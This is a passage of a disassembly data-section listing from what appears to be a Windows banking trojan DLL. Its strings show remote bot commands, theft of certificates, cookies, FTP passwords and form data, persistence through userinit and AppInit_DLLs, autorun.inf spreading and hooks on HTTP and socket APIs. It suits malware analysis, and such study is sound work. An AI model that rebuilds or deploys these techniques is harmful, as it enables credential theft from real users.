aUrl_3		db 'url',0              ; DATA XREF: sub_1000878F+145Bo
aScsh_2		db 'scsh',0             ; DATA XREF: sub_1000878F+1464o
		align 10h
aParam_0	db 'param',0            ; DATA XREF: sub_1000878F+14B0o
		align 4
aScsh_3		db 'scsh',0             ; DATA XREF: sub_1000878F+14B9o
		align 10h
aMultiscshs	db 'multiscshs',0       ; DATA XREF: sub_1000878F+150Co
		align 4
aMultiscsh	db 'multiscsh',0        ; DATA XREF: sub_1000878F+1554o
		align 4
aUrl_4		db 'url',0              ; DATA XREF: sub_1000878F+15B6o
aMultiscsh_0	db 'multiscsh',0        ; DATA XREF: sub_1000878F+15BFo
		align 4
aParam_1	db 'param',0            ; DATA XREF: sub_1000878F+160Bo
		align 10h
aMultiscsh_1	db 'multiscsh',0        ; DATA XREF: sub_1000878F+1614o
		align 4
aGfs		db 'gfs',0              ; DATA XREF: sub_1000878F+1667o
aGf		db 'gf',0               ; DATA XREF: sub_1000878F+16AFo
		align 4
aUrl_5		db 'url',0              ; DATA XREF: sub_1000878F+1711o
aGf_0		db 'gf',0               ; DATA XREF: sub_1000878F+171Ao
		align 4
aParam_2	db 'param',0            ; DATA XREF: sub_1000878F+1766o
		align 4
aGf_1		db 'gf',0               ; DATA XREF: sub_1000878F+176Fo
		align 4
; char aSS_9[]
aSS_9		db '%s%s',0             ; DATA XREF: sub_10009FE2+5Do
		align 10h
; char aSS_10[]
aSS_10		db '%s%s',0             ; DATA XREF: sub_10009FE2+1EAo
		align 4
; char aS___all[]
aS___all	db '%s__.all',0         ; DATA XREF: sub_10009FE2+2CEo
		align 4
; char aS___log[]
aS___log	db '%s__.log',0         ; DATA XREF: sub_10009FE2+2F7o
		align 10h
; char asc_10023030[]
asc_10023030:				; DATA XREF: sub_1000A318+ADo
		unicode	0, <\>,0
; char aMs32clod_6[]
aMs32clod_6	db 'ms32clod',0         ; DATA XREF: sub_1000A318+104o
		align 10h
; char aCommands[]
aCommands	db 'commands',0         ; DATA XREF: sub_1000A318+174o
		align 4
aCommand	db 'command',0          ; DATA XREF: sub_1000A318:loc_1000A4EBo
aCommand_0	db 'command',0          ; DATA XREF: sub_1000A318+227o
aCmd		db 'cmd',0              ; DATA XREF: sub_1000A318+220o
aCommand_1	db 'command',0          ; DATA XREF: sub_1000A318+285o
aParam1		db 'param1',0           ; DATA XREF: sub_1000A318+27Eo
		align 10h
aCommand_2	db 'command',0          ; DATA XREF: sub_1000A318+2E0o
aParam2		db 'param2',0           ; DATA XREF: sub_1000A318+2D9o
		align 10h
aCommand_3	db 'command',0          ; DATA XREF: sub_1000A318+339o
; char aHst[]
aHst		db 'hst',0              ; DATA XREF: sub_1000A318+396o
asc_1002308C	db 0Dh,0Ah,0		; DATA XREF: sub_1000A318+442o
		align 10h
asc_10023090	db '       ',0          ; DATA XREF: sub_1000A318+484o
; char aGet[]
aGet		db 'get',0              ; DATA XREF: sub_1000A318:loc_1000A802o
; char aRun[]
aRun		db 'run',0              ; DATA XREF: sub_1000A318+50Ao
; char aMs32clod_7[]
aMs32clod_7	db 'ms32clod',0         ; DATA XREF: sub_1000A318+53Co
		align 4
; char aRun_0[]
aRun_0		db 'run',0              ; DATA XREF: sub_1000A318:loc_1000A8FFo
; char aShell32[]
aShell32	db 'shell32',0          ; DATA XREF: sub_1000A318+607o
; char aExport[]
aExport		db 'export',0           ; DATA XREF: sub_1000A318:loc_1000A973o
		align 10h
; char a_pfx[]
a_pfx		db '.pfx',0             ; DATA XREF: sub_1000A318+692o
		align 4
aMy:					; DATA XREF: sub_1000A318+6AEo
		unicode	0, <MY>,0
		align 10h
; char aSS_11[]
aSS_11		db '%s%s',0             ; DATA XREF: sub_1000A318+710o
		align 4
; char aReset[]
aReset		db 'reset',0            ; DATA XREF: sub_1000A318:loc_1000AA7Co
		align 10h
; char ValueName[]
ValueName:				; DATA XREF: sub_1000A318+7C4o
		unicode	0, <f>,0
; char aU[]
aU:					; DATA XREF: sub_1000A318+7D6o
		unicode	0, <u>,0
; char aG[]
aG:					; DATA XREF: sub_1000A318+7E8o
		unicode	0, <g>,0
; char aS_1[]
aS_1:					; DATA XREF: sub_1000A318+7FAo
		unicode	0, <s>,0
; char aIl[]
aIl		db 'il',0               ; DATA XREF: sub_1000A318+80Co
		align 4
; char aIln[]
aIln		db 'iln',0              ; DATA XREF: sub_1000A318+81Eo
; char aGl[]
aGl		db 'gl',0               ; DATA XREF: sub_1000A318+830o
		align 4
; char aKill[]
aKill		db 'kill',0             ; DATA XREF: sub_1000A318:loc_1000AB67o
		align 4
; char aReboot[]
aReboot		db 'reboot',0           ; DATA XREF: sub_1000A318:loc_1000AD03o
		align 4
; char aSelfk[]
aSelfk		db 'selfk',0            ; DATA XREF: sub_1000A318:loc_1000AD28o
		align 4
; char aGrabf[]
aGrabf		db 'grabf',0            ; DATA XREF: sub_1000A318:loc_1000AD6Do
		align 4
; char aHrdlst[]
aHrdlst		db 'hrdlst',0           ; DATA XREF: sub_1000A318:loc_1000AE3Do
		align 4
asc_10023124:				; DATA XREF: sub_1000A318+BF2o
		unicode	0, < >,0
; char a20[]
a20		db '%20',0              ; DATA XREF: sub_1000A318+BF7o
; char aSS_tmp[]
aSS_tmp		db '%s\%s.tmp',0        ; DATA XREF: sub_1000B027+9Fo
		align 4
; char aC_0[]
aC_0		db 'c:',0               ; DATA XREF: sub_1000B027:loc_1000B145o
		align 4
; char aSS_12[]
aSS_12		db '%s%s',0             ; DATA XREF: sub_1000B027+15Ao
		align 4
; char aD_1[]
aD_1		db 'd:',0               ; DATA XREF: sub_1000B027+1DCo
		align 4
; char aSS_13[]
aSS_13		db '%s%s',0             ; DATA XREF: sub_1000B027+217o
		align 10h
; char aSS_14[]
aSS_14		db '%s%s',0             ; DATA XREF: sub_1000B027+30Eo
		align 4
; char aS__S_lst_file[]
aS__S_lst_file	db '%s__%s.lst.file',0  ; DATA XREF: sub_1000B027+42Fo
; char a1[]
a1:					; DATA XREF: sub_1000B027+4A4o
		unicode	0, <1>,0
; char aS_2[]
aS_2:					; DATA XREF: sub_1000B027+4A9o
		unicode	0, <s>,0
; char aSKernel32_dll[]
aSKernel32_dll	db '%s\kernel32.dll',0  ; DATA XREF: sub_1000B536+79o
; char aXXX[]
aXXX		db '%x-%x-%x',0         ; DATA XREF: sub_1000B536+208o
		align 4
; char aD_S[]
aD_S		db '%d_%s',0            ; DATA XREF: sub_1000B536+29Co
		align 4
; char aShell32_0[]
aShell32_0	db 'shell32',0          ; DATA XREF: sub_1000B7EF+C5o
; char aShgetspecialfo[]
aShgetspecialfo	db 'SHGetSpecialFolderPathA',0 ; DATA XREF: sub_1000B7EF+D3o
; char aL00834_dat[]
aL00834_dat	db '\l00834.dat',0      ; DATA XREF: sub_1000B7EF+1AEo
; char asc_100231C0[]
asc_100231C0:				; DATA XREF: sub_1000B7EF:loc_1000BA9Bo
		dw 0Ah
		unicode	0, <>,0
; char aClose[]
aClose		db 'close',0            ; DATA XREF: sub_1000B7EF+31Co
		align 4
; char aSl[]
aSl		db 'sl',0               ; DATA XREF: sub_1000B7EF+36Co
		align 10h
; char aClose_0[]
aClose_0	db 'close',0            ; DATA XREF: sub_1000B7EF:loc_1000BBADo
		align 4
; char aGl_0[]
aGl_0		db 'gl',0               ; DATA XREF: sub_1000B7EF+40Fo
		align 4
; char aSuserinit_exe[]
aSuserinit_exe	db '%suserinit.exe,',0  ; DATA XREF: sub_1000B7EF+535o
; char aCopyfilea[]
aCopyfilea	db 'CopyFileA',0        ; DATA XREF: sub_1000B7EF+5ACo
		align 4
; char aKernel32[]
aKernel32	db 'kernel32',0         ; DATA XREF: sub_1000B7EF+5B1o
		align 4
; char aC_1[]
aC_1		db '%c:\',0             ; DATA XREF: sub_1000B7EF+649o
		align 4
; char aSautorun_inf[]
aSautorun_inf	db '%sautorun.inf',0    ; DATA XREF: sub_1000B7EF+685o
		align 4
aAutorunOpenBro	db '[autorun]',0Dh,0Ah  ; DATA XREF: sub_1000B7EF+6CEo
		db 'open=browser.exe',0Dh,0Ah,0
		align 4
; char aBrowser_exe[]
aBrowser_exe	db 'browser.exe',0      ; DATA XREF: sub_1000B7EF+71Co
; char aMmd109en_dat[]
aMmd109en_dat	db '\mmd109en.dat',0    ; DATA XREF: sub_1000B7EF+793o
		align 4
; char aSS_15[]
aSS_15		db '%s%s',0             ; DATA XREF: sub_1000B7EF+976o
		align 10h
; char aS__ps_txt[]
aS__ps_txt	db '%s__PS.txt',0       ; DATA XREF: sub_1000B7EF+9FFo
		align 4
; char a_pfx_0[]
a_pfx_0		db '.pfx',0             ; DATA XREF: sub_1000B7EF+AA9o
		align 4
aMy_0:					; DATA XREF: sub_1000B7EF+AC4o
		unicode	0, <MY>,0
		align 4
; char aSS_16[]
aSS_16		db '%s%s',0             ; DATA XREF: sub_1000B7EF+B33o
		align 4
; char aSS_17[]
aSS_17		db '%s%s',0             ; DATA XREF: sub_1000B7EF+BB2o
		align 4
; char aMed23ru17_tmp[]
aMed23ru17_tmp	db 'med23ru17.tmp',0    ; DATA XREF: sub_1000B7EF+C2Eo
		align 4
; char aSMacromedia[]
aSMacromedia	db '%s\Macromedia',0    ; DATA XREF: sub_1000B7EF+C47o
		align 4
; char aSS_18[]
aSS_18		db '%s%s',0             ; DATA XREF: sub_1000B7EF+D67o
		align 4
; char aS__macromed[]
aS__macromed	db '%s__macromed',0     ; DATA XREF: sub_1000B7EF+DEBo
		align 4
; char aCok458en_dat[]
aCok458en_dat	db '\cok458en.dat',0    ; DATA XREF: sub_1000B7EF+EA4o
		align 4
; char aCok37qa93_tmp[]
aCok37qa93_tmp	db 'cok37qa93.tmp',0    ; DATA XREF: sub_1000B7EF+F27o
		align 4
; char aSS_19[]
aSS_19		db '%s%s',0             ; DATA XREF: sub_1000B7EF+1095o
		align 4
; char aS__cookies[]
aS__cookies	db '%s__cookies',0      ; DATA XREF: sub_1000B7EF+1119o
; char aTimesNewRoman[]
aTimesNewRoman	db 'Times New Roman',0  ; DATA XREF: sub_1000C9DC+64o
; char aTimesNewRoma_0[]
aTimesNewRoma_0	db 'Times New Roman',0  ; DATA XREF: sub_1000C9DC+B4o
; char aKernel32_dll[]
aKernel32_dll	db '\kernel32.dll',0    ; DATA XREF: sub_1000C9DC+F9o
		align 4
; char aKpmm[]
aKpmm		db 'KPMM',0             ; DATA XREF: sub_1000C9DC+149o
		align 10h
; char aMs32clod_8[]
aMs32clod_8	db 'ms32clod',0         ; DATA XREF: sub_1000C9DC+15Bo
		align 4
aSD_0		db '%s %d',0            ; DATA XREF: .text:1000CBFFo
		align 4
aSD_1		db '%s %d',0            ; DATA XREF: .text:1000CC76o
		align 4
aL00834_dat_0	db '\l00834.dat',0      ; DATA XREF: .text:1000CCA4o
dword_10023358	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh					; sub_1000CFE0+2Eo ...
dword_10023368	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_10023378	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_1000DC80+29o ...
dword_10023388	dd 3050F4A3h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_1000DD20+22o ...
dword_10023398	dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_100233A8	dd 3050F434h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_1000E380+7o
dword_100233B8	dd 3050F5D2h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_1000DF70+29o ...
		dd offset aProxy	; "proxy"
		dd 50h,	1BBh
aProxy		db 'proxy',0            ; DATA XREF: .data:100233C8o
		align 4
a1_3:					; DATA XREF: sub_1000E66B+72o
		unicode	0, <1>,0
; char a_pfx_1[]
a_pfx_1		db '.pfx',0             ; DATA XREF: sub_1000E66B+1C8o
		align 4
aMy_1:					; DATA XREF: sub_1000E866+1Do
		unicode	0, <MY>,0
		align 10h
aSecur32_dll	db 'Secur32.dll',0      ; DATA XREF: .text:1000E961o
aInitsecurityin	db 'InitSecurityInterfaceA',0 ; DATA XREF: .text:loc_1000E994o
		align 4
off_10023414	dd offset EncryptMessage ; DATA	XREF: .text:10010517r
off_10023418	dd offset DecryptMessage ; DATA	XREF: .text:10010586r
; DWORD	dwTlsIndex
dwTlsIndex	dd 0FFFFFFFFh		; DATA XREF: sub_1001361F+4r
					; sub_1001361F+Fr ...
; DWORD	dword_10023420
dword_10023420	dd 0FFFFFFFFh						; sub_1001361F+36r ...
; char aUserLocaleSSys[]
aUserLocaleSSys	db 'User Locale: %s',0Dh,0Ah ; DATA XREF: sub_1000EB30+47o
		db ' System: ',0
		align 10h
; char aMicrosoftWindo[]
aMicrosoftWindo	db 'Microsoft Windows Server 2003, ',0 ; DATA XREF: sub_1000EB30+E3o
; char aMicrosoftWin_0[]
aMicrosoftWin_0	db 'Microsoft Windows XP ',0 ; DATA XREF: sub_1000EB30+104o
		align 4
; char aMicrosoftWin_1[]
aMicrosoftWin_1	db 'Microsoft Windows 2000 ',0 ; DATA XREF: sub_1000EB30+125o
; char aMicrosoftWin_2[]
aMicrosoftWin_2	db 'Microsoft Windows NT ',0 ; DATA XREF: sub_1000EB30+13Do
		align 4
; char aWorkstation4_0[]
aWorkstation4_0	db 'Workstation 4.0 ',0 ; DATA XREF: sub_1000EB30+173o
		align 4
; char aHomeEdition[]
aHomeEdition	db 'Home Edition ',0    ; DATA XREF: sub_1000EB30+19Ao
		align 4
; char aProfessional[]
aProfessional	db 'Professional ',0    ; DATA XREF: sub_1000EB30:loc_1000ECDBo
		align 4
; char aDatacenterEdit[]
aDatacenterEdit	db 'Datacenter Edition ',0 ; DATA XREF: sub_1000EB30+213o
; char aEnterpriseEdit[]
aEnterpriseEdit	db 'Enterprise Edition ',0 ; DATA XREF: sub_1000EB30+237o
; char aWebEdition[]
aWebEdition	db 'Web Edition ',0     ; DATA XREF: sub_1000EB30+25Co
		align 4
; char aStandardEditio[]
aStandardEditio	db 'Standard Edition ',0 ; DATA XREF: sub_1000EB30:loc_1000ED9Do
		align 4
; char aDatacenterServ[]
aDatacenterServ	db 'Datacenter Server ',0 ; DATA XREF: sub_1000EB30+2A9o
		align 4
; char aAdvancedServer[]
aAdvancedServer	db 'Advanced Server ',0 ; DATA XREF: sub_1000EB30+2CCo
		align 10h
; char aServer_0[]
aServer_0	db 'Server ',0          ; DATA XREF: sub_1000EB30:loc_1000EE0Do
; char aServer4_0Enter[]
aServer4_0Enter	db 'Server 4.0, Enterprise Edition ',0 ; DATA XREF: sub_1000EB30+300o
; char aServer4_0[]
aServer4_0	db 'Server 4.0 ',0      ; DATA XREF: sub_1000EB30:loc_1000EE41o
; char aSystemCurrentc[]
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\ProductOptions',0
					; DATA XREF: sub_1000EB30+330o
; char aProducttype[]
aProducttype	db 'ProductType',0      ; DATA XREF: sub_1000EB30+362o
; char aWinnt[]
aWinnt		db 'WINNT',0            ; DATA XREF: sub_1000EB30+3A1o
		align 4
; char aWorkstation[]
aWorkstation	db 'Workstation ',0     ; DATA XREF: sub_1000EB30+3B0o
		align 4
; char aLanmannt[]
aLanmannt	db 'LANMANNT',0         ; DATA XREF: sub_1000EB30+3C6o
		align 4
; char aServer_1[]
aServer_1	db 'Server ',0          ; DATA XREF: sub_1000EB30+3D5o
; char aServernt[]
aServernt	db 'SERVERNT',0         ; DATA XREF: sub_1000EB30+3EBo
		align 4
; char aAdvancedServ_0[]
aAdvancedServ_0	db 'Advanced Server ',0 ; DATA XREF: sub_1000EB30+3FAo
		align 4
; char aD_D[]
aD_D		db '%d.%d ',0           ; DATA XREF: sub_1000EB30+417o
		align 4
; char aServicePack6[]
aServicePack6	db 'Service Pack 6',0   ; DATA XREF: sub_1000EB30+44Ao
		align 4
; char aSoftwareMicr_0[]
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009',0
					; DATA XREF: sub_1000EB30+46Fo
; char aServicePack6aB[]
aServicePack6aB	db 'Service Pack 6a (Build %d)',0Ah,0 ; DATA XREF: sub_1000EB30+49Ao
; char aSBuildD[]
aSBuildD	db '%s (Build %d)',0Ah,0 ; DATA XREF: sub_1000EB30+4C5o
		align 4
; char aSBuildD_0[]
aSBuildD_0	db '%s (Build %d)',0Ah,0 ; DATA XREF: sub_1000EB30+50Eo
		align 4
; char aResDxD[]
aResDxD		db 0Ah			; DATA XREF: sub_1000EB30+546o
		db 'Res: %dx%d',0
; char aUserAgent[]
aUserAgent	db 'User Agent',0       ; DATA XREF: sub_1000EB30+5B8o
		align 4
; char aUserAgent_0[]
aUserAgent_0	db 0Dh,0Ah		; DATA XREF: sub_1000EB30+5D3o
		db 'User agent:',0
		align 4
aClose_1	db 'close',0            ; DATA XREF: .text:1000F162o
		align 4
asc_100236CC:				; DATA XREF: .text:1000F199o
		unicode	0, < >,0
; char asc_100236D0[]
asc_100236D0:				; DATA XREF: sub_1000F2AB:loc_1000F2E1o
		unicode	0, <*>,0
; char aAppinit_dlls[]
aAppinit_dlls	db 'AppInit_DLLs',0     ; DATA XREF: sub_1000FCEB+9Co
		align 4
; char asc_100236E4[]
asc_100236E4	db '======',0           ; DATA XREF: sub_1000FFF9+73o
		align 4
; char asc_100236EC[]
asc_100236EC	db '======',0Dh,0Ah,0   ; DATA XREF: sub_1000FFF9+ABo
		align 4
; char aEnd[]
aEnd		db '=====End=====',0Dh,0Ah,0 ; DATA XREF: sub_1000FFF9+CFo
; char Caption[]
Caption		db 'LoadLibrary',0      ; DATA XREF: sub_100105F9+2o
; char aD_D_DDD[]
aD_D_DDD	db '%d.%d.%d %d:%d',0   ; DATA XREF: sub_10010623+78o
		align 4
; char aSS_20[]
aSS_20		db '%s%s',0             ; DATA XREF: sub_10010623+BBo
		align 4
; char aDSSSSS[]
aDSSSSS		db '%d|%s|%s|%s|%s|%s',0 ; DATA XREF: sub_10010623+160o
		align 10h
; char a1_0[]
a1_0:					; DATA XREF: sub_100108A3:loc_10010C43o
		unicode	0, <1>,0
; char asc_10023744[]
asc_10023744	db '---------------',0  ; DATA XREF: sub_100108A3+543o
; char aBalance[]
aBalance	db '--------------',0Dh,0Ah ; DATA XREF: sub_100108A3+56Eo
		db 'Balance :',0Dh,0Ah,0
; char asc_10023770[]
asc_10023770	db 0Dh,0Ah		; DATA XREF: sub_100108A3+58Fo
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
; char a1_1[]
a1_1:					; DATA XREF: sub_10011167:loc_10011539o
		unicode	0, <1>,0
; char asc_1002377C[]
asc_1002377C	db '---------------',0  ; DATA XREF: sub_10011167+576o
; char aBalance_0[]
aBalance_0	db '--------------',0Dh,0Ah ; DATA XREF: sub_10011167+5A1o
		db 'Balance :',0Dh,0Ah,0
; char asc_100237A8[]
asc_100237A8	db 0Dh,0Ah		; DATA XREF: sub_10011167+5C2o
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char aUser[]
aUser		db 'USER',0             ; DATA XREF: sub_10011AA3+A9o
		align 4
; char aPass[]
aPass		db 'PASS',0             ; DATA XREF: sub_10011AA3+BFo
		align 10h
; char aHftpUrlSS[]
aHftpUrlSS	db '---------------hFTP--------------',0Dh,0Ah
					; DATA XREF: sub_10011AA3+14Ao
		db 'URL %s',0Dh,0Ah
		db '%s',0Dh,0Ah,0
; char asc_100237F0[]
asc_100237F0	db 0Dh,0Ah		; DATA XREF: sub_10011AA3+186o
		db 0Dh,0Ah,0
		align 4
; char aPassError[]
aPassError	db 0Dh,0Ah		; DATA XREF: sub_10011AA3:loc_10011C3Bo
		db ' - PASS error',0
; char aUser_0[]
aUser_0		db 'USER',0             ; DATA XREF: sub_10011CA2+57o
		align 10h
; char aPass_0[]
aPass_0		db 'PASS',0             ; DATA XREF: sub_10011CA2+6Do
		align 4
; char aHftpUrlSS_0[]
aHftpUrlSS_0	db '---------------hFTP--------------',0Dh,0Ah ; DATA XREF: sub_10011CA2+F8o
		db 'URL %s',0Dh,0Ah
		db '%s',0Dh,0Ah,0
; char asc_10023848[]
asc_10023848	db 0Dh,0Ah		; DATA XREF: sub_10011CA2+13Bo
		db 0Dh,0Ah,0
		align 10h
; char aPassError_0[]
aPassError_0	db 0Dh,0Ah		; DATA XREF: sub_10011CA2:loc_10011DEFo
		db ' - PASS error',0
; char a_htm_php_do_as[]
a_htm_php_do_as	db '.htm*.php*.do*.asp*.jsp*?',0 ; DATA XREF: sub_10011E49+106o
		align 4
; char asc_1002387C[]
asc_1002387C	db '//',0               ; DATA XREF: sub_10011E49+1B9o
		align 10h
; char asc_10023880[]
asc_10023880	db '//',0               ; DATA XREF: sub_10011E49+1D8o
		align 4
; char asc_10023884[]
asc_10023884:				; DATA XREF: sub_10011E49+27Co
		unicode	0, </>,0
; char asc_10023888[]
asc_10023888:				; DATA XREF: sub_10011E49:loc_10012266o
		unicode	0, </>,0
; char asc_1002388C[]
asc_1002388C	db '//',0               ; DATA XREF: sub_10011E49+4C1o
		align 10h
; char asc_10023890[]
asc_10023890	db '//',0               ; DATA XREF: sub_10011E49+4E0o
		align 4
; char asc_10023894[]
asc_10023894:				; DATA XREF: sub_10011E49:loc_100123BEo
		unicode	0, </>,0
; char asc_10023898[]
asc_10023898	db '//',0               ; DATA XREF: sub_10011E49+702o
		align 4
; char asc_1002389C[]
asc_1002389C	db '//',0               ; DATA XREF: sub_10011E49+71Fo
		align 10h
; char asc_100238A0[]
asc_100238A0:				; DATA XREF: sub_10011E49:loc_100125F9o
		unicode	0, </>,0
; char aPost[]
aPost		db 'POST',0             ; DATA XREF: sub_10011E49:loc_10012779o
		align 4
; char aAcceptEncoding[]
aAcceptEncoding	db 0Dh,0Ah		; DATA XREF: sub_10012894+16Do
		db 'Accept-Encoding: gzip, deflate',0
		align 10h
; char aReferer[]
aReferer	db 'Referer',0          ; DATA XREF: sub_10012894+1BCo
; char aReferer_0[]
aReferer_0	db 'Referer',0          ; DATA XREF: sub_10012894+1D5o
; char asc_100238E0[]
asc_100238E0	db 0Dh,0Ah,0		; DATA XREF: sub_10012894+209o
		align 4
; char asc_100238E4[]
asc_100238E4	db 0Dh,0Ah,0		; DATA XREF: sub_10012894+222o
		align 4
; char asc_100238E8[]
asc_100238E8	db '---------------',0  ; DATA XREF: sub_10012894+269o
; char asc_100238F8[]
asc_100238F8	db '--------------',0Dh,0Ah,0 ; DATA XREF: sub_10012894+297o
		align 4
; char aField[]
aField		db 'Field :',0Dh,0Ah,0  ; DATA XREF: sub_10012894+2E5o
		align 4
; char aThread[]
aThread		db 0Dh,0Ah		; DATA XREF: sub_10012894+31Bo
		db 0Dh,0Ah
		db 'Thread: ',0
		align 4
; char asc_10023928[]
asc_10023928	db 0Dh,0Ah		; DATA XREF: sub_10012894+33Eo
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char aAcceptEncodi_0[]
aAcceptEncodi_0	db 0Dh,0Ah		; DATA XREF: sub_10012DD0+131o
		db 'Accept-Encoding: gzip, deflate',0
		align 4
; char aReferer_1[]
aReferer_1	db 'Referer',0          ; DATA XREF: sub_10012DD0+169o
; char aReferer_2[]
aReferer_2	db 'Referer',0          ; DATA XREF: sub_10012DD0+182o
; char asc_10023964[]
asc_10023964	db 0Dh,0Ah,0		; DATA XREF: sub_10012DD0+1B6o
		align 4
; char asc_10023968[]
asc_10023968	db 0Dh,0Ah,0		; DATA XREF: sub_10012DD0+1CFo
		align 4
; char asc_1002396C[]
asc_1002396C	db '---------------',0  ; DATA XREF: sub_10012DD0+206o
; char asc_1002397C[]
asc_1002397C	db '--------------',0Dh,0Ah,0 ; DATA XREF: sub_10012DD0+234o
		align 10h
; char aField_0[]
aField_0	db 'Field :',0Dh,0Ah,0  ; DATA XREF: sub_10012DD0+282o
		align 4
; char aThread_0[]
aThread_0	db 0Dh,0Ah		; DATA XREF: sub_10012DD0+2B8o
		db 0Dh,0Ah
		db 'Thread: ',0
		align 4
; char asc_100239AC[]
asc_100239AC	db 0Dh,0Ah		; DATA XREF: sub_10012DD0+2DBo
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aPvoidReal_crea	db '&(PVOID&)Real_CreateFileW',0 ; DATA XREF: sub_1001338E+14o
		align 10h
aPvoidReal_pfxi	db '&(PVOID&)Real_PFXImportCertStore',0 ; DATA XREF: sub_1001338E+2Bo
		align 4
aPvoidReal_inte	db '&(PVOID&)Real_InternetConnect',0 ; DATA XREF: sub_1001338E+42o
		align 4
aPvoidReal_http	db '&(PVOID&)Real_HttpOpenRequest',0 ; DATA XREF: sub_1001338E+59o
		align 4
aPvoidReal_ht_0	db '&(PVOID&)Real_HttpSendRequestW',0 ; DATA XREF: sub_1001338E+70o
		align 4
aPvoidReal_ht_1	db '&(PVOID&)Real_HttpSendRequestA',0 ; DATA XREF: sub_1001338E+87o
		align 4
aPvoidReal_in_0	db '&(PVOID&)Real_InternetQueryDataAvailable',0
					; DATA XREF: sub_1001338E+9Eo
		align 10h
aPvoidReal_in_1	db '&(PVOID&)Real_InternetReadFile',0 ; DATA XREF: sub_1001338E+B5o
		align 10h
aPvoidReal_in_2	db '&(PVOID&)Real_InternetReadFileEx',0 ; DATA XREF: sub_1001338E+CCo
		align 4
aPvoidReal_in_3	db '&(PVOID&)Real_InternetSetStatusCallback',0 ; DATA XREF: sub_1001338E+E3o
aPvoidReal_rege	db '&(PVOID&)Real_RegEnumValueW',0 ; DATA XREF: sub_1001338E+FAo
aPvoidReal_send	db '&(PVOID&)Real_send',0 ; DATA XREF: sub_1001338E+111o
		align 4
aPvoidReal_wsas	db '&(PVOID&)Real_WSASend',0 ; DATA XREF: sub_1001338E+128o
		align 4
aPvoidReal_cr_0	db '&(PVOID&)Real_CreateFileW',0 ; DATA XREF: sub_100134D4+14o
		align 10h
aPvoidReal_pf_0	db '&(PVOID&)Real_PFXImportCertStore',0 ; DATA XREF: sub_100134D4+2Bo
		align 4
aPvoidReal_in_4	db '&(PVOID&)Real_InternetConnect',0 ; DATA XREF: sub_100134D4+42o
		align 4
aPvoidReal_ht_2	db '&(PVOID&)Real_HttpOpenRequest',0 ; DATA XREF: sub_100134D4+59o
		align 4
aPvoidReal_ht_3	db '&(PVOID&)Real_HttpSendRequestW',0 ; DATA XREF: sub_100134D4+70o
		align 4
aPvoidReal_ht_4	db '&(PVOID&)Real_HttpSendRequestA',0 ; DATA XREF: sub_100134D4+87o
		align 4
aPvoidReal_in_5	db '&(PVOID&)Real_InternetQueryDataAvailable',0
					; DATA XREF: sub_100134D4+9Eo
		align 10h
aPvoidReal_in_6	db '&(PVOID&)Real_InternetReadFile',0 ; DATA XREF: sub_100134D4+B5o
		align 10h
aPvoidReal_in_7	db '&(PVOID&)Real_InternetReadFileEx',0 ; DATA XREF: sub_100134D4+CCo
		align 4
aPvoidReal_in_8	db '&(PVOID&)Real_InternetSetStatusCallback',0 ; DATA XREF: sub_100134D4+E3o
aPvoidReal_re_0	db '&(PVOID&)Real_RegEnumValueW',0 ; DATA XREF: sub_100134D4+FAo
aPvoidReal_se_0	db '&(PVOID&)Real_send',0 ; DATA XREF: sub_100134D4+111o
		align 4
aPvoidReal_ws_0	db '&(PVOID&)Real_WSASend',0 ; DATA XREF: sub_100134D4+128o
		align 4
; char aSystem32[]
aSystem32	db 'system32',0         ; DATA XREF: DllMain(x,x,x)+1Do
		align 10h
; char aSvchost_exe[]
aSvchost_exe	db 'svchost.exe',0      ; DATA XREF: DllMain(x,x,x)+40o
; char aRegedt32[]
aRegedt32	db 'regedt32',0         ; DATA XREF: DllMain(x,x,x)+63o
		align 4
; char aVisualStudio[]
aVisualStudio	db 'visual studio',0    ; DATA XREF: DllMain(x,x,x):loc_100137EAo
		align 4
; char aQip[]
aQip		db 'qip',0              ; DATA XREF: DllMain(x,x,x)+B1o
; char aUsergate[]
aUsergate	db 'usergate',0         ; DATA XREF: DllMain(x,x,x)+D8o
		align 4
; char aNotepad[]
aNotepad	db 'notepad',0          ; DATA XREF: DllMain(x,x,x)+FBo
; char aPsi_exe[]
aPsi_exe	db 'psi.exe',0          ; DATA XREF: DllMain(x,x,x)+11Eo
; char aFc_exe[]
aFc_exe		db 'fc.exe',0           ; DATA XREF: DllMain(x,x,x)+141o
		align 10h
; char aExplorer_exe[]
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: DllMain(x,x,x):loc_100138EEo
		align 10h
; char aSvchost_exe_0[]
aSvchost_exe_0	db 'svchost.exe',0      ; DATA XREF: DllMain(x,x,x)+1B1o
; char aSSS[]
aSSS		db '%s%s%s',0           ; DATA XREF: sub_10013A20+69o
		align 4
; char aConnect[]
aConnect	db 'CONNECT',0          ; DATA XREF: sub_10013A20+7Bo
; char asc_10023D7C[]
asc_10023D7C:				; DATA XREF: sub_10013A20+9Eo
		unicode	0, <:>,0
; char aHttp_0[]
aHttp_0		db 'http://',0          ; DATA XREF: sub_10013A20+F0o
; char aHttp_1[]
aHttp_1		db 'http://',0          ; DATA XREF: sub_10013A20+112o
; char asc_10023D90[]
asc_10023D90:				; DATA XREF: sub_10013A20+177o
		unicode	0, <:>,0
; char asc_10023D94[]
asc_10023D94:				; DATA XREF: sub_10013A20+1C0o
		unicode	0, <:>,0
; char aHttp_2[]
aHttp_2		db 'http://',0          ; DATA XREF: sub_10013A20+30Fo
; char aProxyConnectio[]
aProxyConnectio	db 'Proxy-Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_10013A20+357o
		align 10h
aHttp1_1	db 'HTTP/1.1',0         ; DATA XREF: sub_10013A20+39Ao
		align 4
; char aHttp1_0[]
